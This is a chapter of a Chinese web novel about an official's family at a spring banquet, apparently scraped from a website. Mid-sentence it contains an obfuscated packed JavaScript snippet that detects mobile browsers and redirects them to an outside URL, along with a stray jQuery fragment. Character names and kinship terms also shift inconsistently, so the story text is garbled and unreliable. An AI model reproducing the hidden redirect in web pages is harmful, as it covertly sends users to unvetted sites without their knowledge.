“霍霖，你也劝着点你弟弟，别一天到晚就知道闷头读书，都快读成书呆子了。”


    “娘，您这话可就冤枉我了。”


    不等霍辰开口，霍霖便抢先说道，语气里带着几分戏谑。


    “您以前总嫌我不爱读书，恨不得拿鞭子抽我。现在弟弟用功了，您又嫌他太用功。您这标准，也太难达到了吧？”


    少年生得浓眉大眼，五官俊朗。


    因为嘴馋，身材微微发福，但脸颊上那对深深的酒窝，又让他看起来格外亲切随和。


    他一边说着，一边从怀里掏出一个油纸包，打开来，里面是几块精致的点心。


    言悦没好气地伸手在他头上拍了一下。


    “你这孩子，就知道贫嘴！”


    她顿了顿，又补充道：


    “这读书嘛，自然是好事。可也不能死读书，读死书。你弟弟就是太钻牛角尖了，得让他多出来走动走动，见见世面。”


    “要我说啊，你们兄弟俩就不能中和一下？一个太贪玩，一个太死板，真是让人操心。”


    母亲的唠叨，霍霖早就**以为常了。


    他撇撇嘴，不再理会，自顾自地拿起一块点心，塞进嘴里，津津有味地吃了起来。


    言悦见状，忍不住又瞪了他一眼：


    “这都要去赴宴了，你还吃？留点肚子，待会儿席上才能多吃点。”


    霍霖毫不在意，一边嚼着点心，一边含糊不清地说道：


    “没事儿，我胃口好着呢。”


    言悦看着儿子那“吃货”的模样，忍不住又好气又好笑。


    “哎，能不能分我一杯羹啊！”


    她伸手去抢儿子手中的油纸包。


    霍霖连忙把油纸包举高，躲开了母亲的“魔爪”。


    “嘿嘿，您不是说要留着肚子去席上吃吗？”


    他得意地朝母亲做了个鬼脸。


    言悦“气”得又在他头上拍了一下。


    “你这臭小子！”


    母女俩有说有笑打闹成一团，气氛轻松而愉悦。


    霍辰始终没有开口。


    他只是静静地坐在一旁，嘴角挂着一抹淡淡的笑意，看着这温馨的一幕，心中充满了幸福和满足。春日暖阳，和风拂柳，吹得人心头舒畅。御华园内，处处生机盎然。桃花灼灼，开得烂漫。各府的马车陆续而至，精致华美，彰显着各家的气派。


    女眷们下了马车，或三两成群，轻声细语；或呼朋引伴，赏花谈笑。


    言悦抵达时，正瞧见明心与清漪长公主并肩而立，两人不知说着什么，皆是笑语盈盈。


    清漪贵为长公主，身份尊贵。明心虽是商户出身，却也落落大方，不卑不亢。只因明心的母亲与当朝丞相是兄妹，沾了这层光，清漪设宴时，总不忘邀她前来。


    言悦一见着明心，便觉眼前一亮。与清漪略作寒暄，她便亲昵地拉过明心，细细问起家常，嘘寒问暖。


    “这些日子都在忙些什么？家里的生意可还顺遂？”


    明心抿唇一笑，声若细雨：“劳舅母挂心，一切都好。”


    不多时，紫莲携女儿婉仪也款款而来。婉仪与明心年纪相仿，性情相投，一见面便携手往花圃深处走去，似有说不完的体己话。


    另一边，霍辰刚至席间，便见别峻手执一把洒金折扇，笑意盈盈地迎了上来。


    “凌兄，许久不见，风采更胜往昔啊！”别峻这话说得热络。


    换作往常，别峻对他总是不冷不热，甚至隐隐带着几分敌意。可近来，别峻的态度却是一百八十度大转弯，每每见了，都要主动上前攀谈，殷勤备至。


    霍辰心中跟明镜似的，只是不愿点破，只淡淡一笑，与之客套周旋。


    几句寒暄过后，别峻摇着折扇，慢悠悠踱回自家席位。


    刚一落座，妻子平萱便递来一个“我就知道”的眼神。


    “又和霍大人说什么了？”


    别峻装模作样地轻咳一声：“自然是商议政事。”


    平萱撇了撇嘴，显然不信。她还能不知道自家夫君那点花花肠子？


    “我可把丑话说在前头，你少给我乱点鸳鸯谱！大理寺卿家的那个，我可瞧不上！”


    她口中的“那个”，指的自然是霍霖。


    别峻早年对茅言悦有意，却未能如愿。如今竟打起了儿女亲事的主意，也不掂量掂量！


    别峻闻言，脸色一变，忙四下扫视，见无人注意，这才压低声音，斥责道：


    “胡说八道！什么瞧不上？你也不怕隔墙有耳！”


    平萱轻啜一口香茗，眼皮都懒得抬一下。


    “怎么，我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000551|180033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说错了？霍辰那般才华横溢，年仅十二就考取功名，不到二十便金榜题名。他儿子呢？都十五了，还是个白丁！说出去也不怕人笑话！”


    别峻一听这话，顿时不乐意了，将手中折扇“啪”地一声合上，正色道：


    “话不能这么说。霍辰那是天纵奇才，百年难得一遇。寻常读书人，十几岁能中个秀才，已是难得。萧家大公子年纪尚轻，来日方长。”


    “哼，我看未必。”平萱冷笑一声，语气中满是轻蔑，“常言道，虎父无犬子。霍辰那般厉害，儿子却如此平庸，可见是随了他那没见识的娘！”


    她顿了顿，又道：“我可是听说了，萧家大公子乡试考了两次，**都名落孙山。就这脑子，还想攀高枝儿？”


    “你、你……”别峻气得脸色铁青，“你怎能如此刻薄？就算像言悦又如何？像她也很好！”


    平萱听了这话，更是气不打一处来。


    她猛地将茶盏往桌上一掼，扭过头去，再不理会别峻。


    别峻碰了一鼻子灰，也自觉无趣，黑着脸转过身去。


    两人你瞪我，我瞪你，谁也不肯先低头。


    且说霍霖，正与几位交好的世家公子谈笑风生，忽听得母亲言悦在唤他。


    “墨儿，快过来！”


    霍霖循声望去，只见母亲站在不远处，正朝他招手。


    “娘，何事唤我？”


    “你明心表妹在那边呢，还不快过去见礼？”言悦指着花圃的方向，催促道。


    霍霖却有些不情愿：“我方才已经与表妹打过招呼了。”


    “只是打个招呼怎么成？你们年轻人，得多多走动才是。”言悦说着，便要拉他过去。


    霍霖正与朋友们聊得兴起，哪肯就范？


    他一边挣脱母亲的手，一边嘟囔道：“娘，您就别操心了，我们自有分寸……”


    “有什么分寸？你都十五了，也该懂事了！”言悦不依不饶。


    母子二人正拉扯间，霍辰沉着脸走了过来。


    “光天化日，拉拉扯扯，成何体统！”


    霍霖一见父亲，如同见了救星，赶忙趁机溜之大吉。


    “你、你给我回来！”言悦气得直跺脚，却被霍辰拦了下来。


    “孩子大了，有他自己的想法，你莫要强求。